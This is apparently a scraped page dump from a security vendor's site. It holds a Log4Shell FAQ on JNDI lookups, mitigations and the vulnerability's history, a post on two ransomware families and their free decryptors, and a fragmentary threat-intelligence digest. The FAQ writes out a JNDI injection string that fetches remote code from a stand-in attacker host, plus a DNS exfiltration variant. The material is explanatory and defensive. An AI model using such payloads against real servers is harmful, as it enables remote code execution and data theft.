\n\n\n\n
JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.
\n\n\n\nThe log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware}
means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware
; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...}
attack variant has become a proper viral meme, there are milder variants of the attack such as e.g. ${ jndi:dns://...}
which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.
As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating, and is reproduced below.
\n\n\n\n\n\n\n\n
First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:
\n\n\n\n${ jndi:...}
strings, and probably many more “clever” variations, and this is indeed an important layer of security to have. Still, it is also important to understand the inherent limitations of these solutions. These (very likely) won’t evaluate log4j2 lookup language when inspecting input; as a rule of thumb if a security product doesn’t fully evaluate incoming input, but the target of the input does, the result is a cat-and-mouse game with the mouse at an advantage. These are stopgaps, even if powerful ones, and should be used in conjunction with other mitigations.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
), though this seems like an invitation for the application to choke and die instead of enabling an RCE.Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense.
\n\n\n\nThe story goes more or less like this.
\n\n\n\nIn March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.
\n\n\n\n8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times.
\n\n\n\nPatches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:
\n\n\n\nResponse is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.
\n\n\n\nNatural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.
\n\n\n\nThe emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”
\n\n\n\n\n\n\n\n
\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2021/the-laconic-log4shell-faq/","tags":[],"score":0.009741537272930145,"topStoryDate":null},{"id":"1601","type":"Blog_Publication","name":"How We Found Two New Ransomware Families and Built Their Decryptors","author":"Ali Donzanti","date":1483063682000,"description":"Ransomware is one of the most common and effective attack methods today, and it seems this trend isn't going to change anytime soon. This last November, we found that ransomware attacks are surging, with our Global Threat Index showing that the number of ransomware attacks using Locky and Cryptowall","content":"
Ransomware is one of the most common and effective attack methods today, and it seems this trend isn’t going to change anytime soon. This last November, we found that ransomware attacks are surging, with our Global Threat Index showing that the number of ransomware attacks using Locky and Cryptowall increased by 10%.
\nToday, Check Point’s Threat Intelligence Team reveals two new ransomware samples that were found in the wild, but also the decryption solutions which can help victims retrieve their lost data free of charge.
\nCheck Point is an Associate Partner of the No More Ransom (NMR) project, which aims to fight back against the ransomware epidemic. As such, our new decryption tools will be available for public use as part of the project.
\n\n
1 – DeriaLock: Ransomware Evolving Within Hours
\nDeriaLock is an interesting case of ransomware evolving right in front of our eyes. When it first appeared on December 24, 2016, it was nothing more than a screen-locker, designed to take control of your screen and prevent you from accessing to your computer. It was a nuisance but didn’t cause any real damage to your files. Two days later, another variant was discovered. This time, it added a file encryption mechanism, threatening that if you restart your computer in an attempt to regain control, DeriaLock would delete all your files.
\nAs Karsten Hahn, the malware analyst who first discovered DeriaLock, pointed out on Twitter, this was an empty threat. That is, until a few hours later, when the latest variation of DeriaLock appeared and delivered on it. The current version of the ransomware includes all of these capabilities: screen lock, file encryption and deletion of files following a reboot.
\nRight now, the ransom demand is only $30, not very high compared to other ransomware out there in the wild. Check Point researchers have found a way to exploit several flaws in its implementation and created a decryption tools that helps you recover your files and avoid payment altogether.
\n\nHow to retrieve your files?
\nPlease use the below decryption tool with caution.
\n\n
User manual:
\nAfter reading and familiarizing yourself with the cautions –
\n(the ‘Date Modified’ of them would be the infection date)
\n\n
\n
2 – PHP Ransomware
\nWe have also discovered in the wild a new ransomware in the form of a PHP script. We first encountered it when accessing the domain hxxp://med-lex[.]com. Although the PHP ransomware encrypts the victim’s files, it’s tricky to call it a “ransomware” per-se.
\nUnlike the majority of the widely-spread ransomware samples, the script does not show any ransom note nor does it attempt to receive a payment in order to grant a decryptor. Rather, it only encrypts the files without offering any option to retrieve them. There is also no attempt made to communicate with a command and control server, which usually enables tracking the number of infected machines, downloading executables, or other malignant activities.
\nThe new sample starts by scanning the system recursively. When it encounters a directory, it checks its subfolders for relevant files, to find out if any of their extensions are of the following:
\nzip, rar, r00 ,r01 ,r02 ,r03, 7z, tar, gz, gzip, arc, arj, bz, bz2, bza, bzip ,bzip2, ice, xls, xlsx, doc, docx, pdf ,djvu ,fb2,rtf, ppt, pptx, pps, sxi, odm, odt, mpp, ssh, pub, gpg, pgp, kdb, kdbx, als, aup, cpr, npr, cpp, bas, asm, cs, php, pas, class, py, pl, h, vb ,vcproj, vbproj, java, bak, backup, mdb, accdb, mdf, odb, wdb, csv, tsv, sql, psd, eps, cdr, cpt, indd, dwg, ai, svg, max, skp, scad, cad, 3ds, blend, lwo, lws, mb, slddrw, sldasm, sldprt, u3d, jpg, jpeg, tiff, tif, raw, avi, mpg, mp4, m4v, mpeg, mpe, wmf, wmv, veg, mov, 3gp, flv, mkv, vob, rm, mp3, wav, asf, wma, m3u, midi, ogg, mid, vdi, vmdk, vhd, dsk, img, iso
\nIf one of the files matches the above extensions, the script changes the access permissions and enables the owner along with other users to read, write and execute the file. The script proceeds to read the first 2048 bytes of the matched file, and while the rest of it remains intact, the initial excerpt is encrypted. If the file’s size is smaller than 2048 bytes, it will be encrypted entirely. Additionally, a “.crypted” extension is added to the file’s name without omitting the original one.
\n\n
How to decrypt your files?
\nEven though the encryption seems irreparable at first, we were able to develop a decryptor which allows victims of the PHP ransomware to restore their original files without difficulty.
\nNote: The decryptor is effective for versions of the current of the ransomware. As security companies and hackers are in an eternal cat and mouse chase, there is a chance that the attackers will remediate their vulnerabilities which allowed us to decrypt the files. Therefore, Check Point does not take responsibility for unsuccessful attempts to decrypt files using this tool.
\n\n
\n
To read more about Check Point’s role in the No More Ransom Project, click here.
\nThe post How We Found Two New Ransomware Families and Built Their Decryptors appeared first on Check Point Blog.
\n","status":"PUBLISHED","fileName":"251313145","link":"http://blog.checkpoint.com/2016/12/29/found-two-new-ransomware-families-built-decryptors/","tags":[],"score":0.007306152954697609,"topStoryDate":null},{"id":"4443","type":"Intelligence_Reports","name":"Threat Intelligence Report: May 24-30, 2021","author":"Check Point Threat Intelligence","date":1622444400000,"description":"Weekly summary of the latest published cyber threats and campaigns as derived from open-source information.","content":"TOP ATTACKS AND BREACHES
Check Point AntiBot provides protection against this threat (Trojan-Downloader.Win64.BazarLoader)
VULNERABILITIES AND PATCHES
THREAT INTELLIGENCE REPORTS
Check Point SandBlast and Anti-Virus provide protection against this threat (Trojan.Mac.XCSSET; XCSSET)
Check Point Anti-Virus provides protection against those threats (Cryptominer.Win32.TeamTNT; TS_Miner.Win32.XMRig)
Tags: #Cloud
","status":"PUBLISHED","fileName":"167794895","link":null,"tags":[],"score":0.005350920371711254,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};Check Point AntiBot provides protection against this threat (Trojan-Downloader.Win32.IcedID)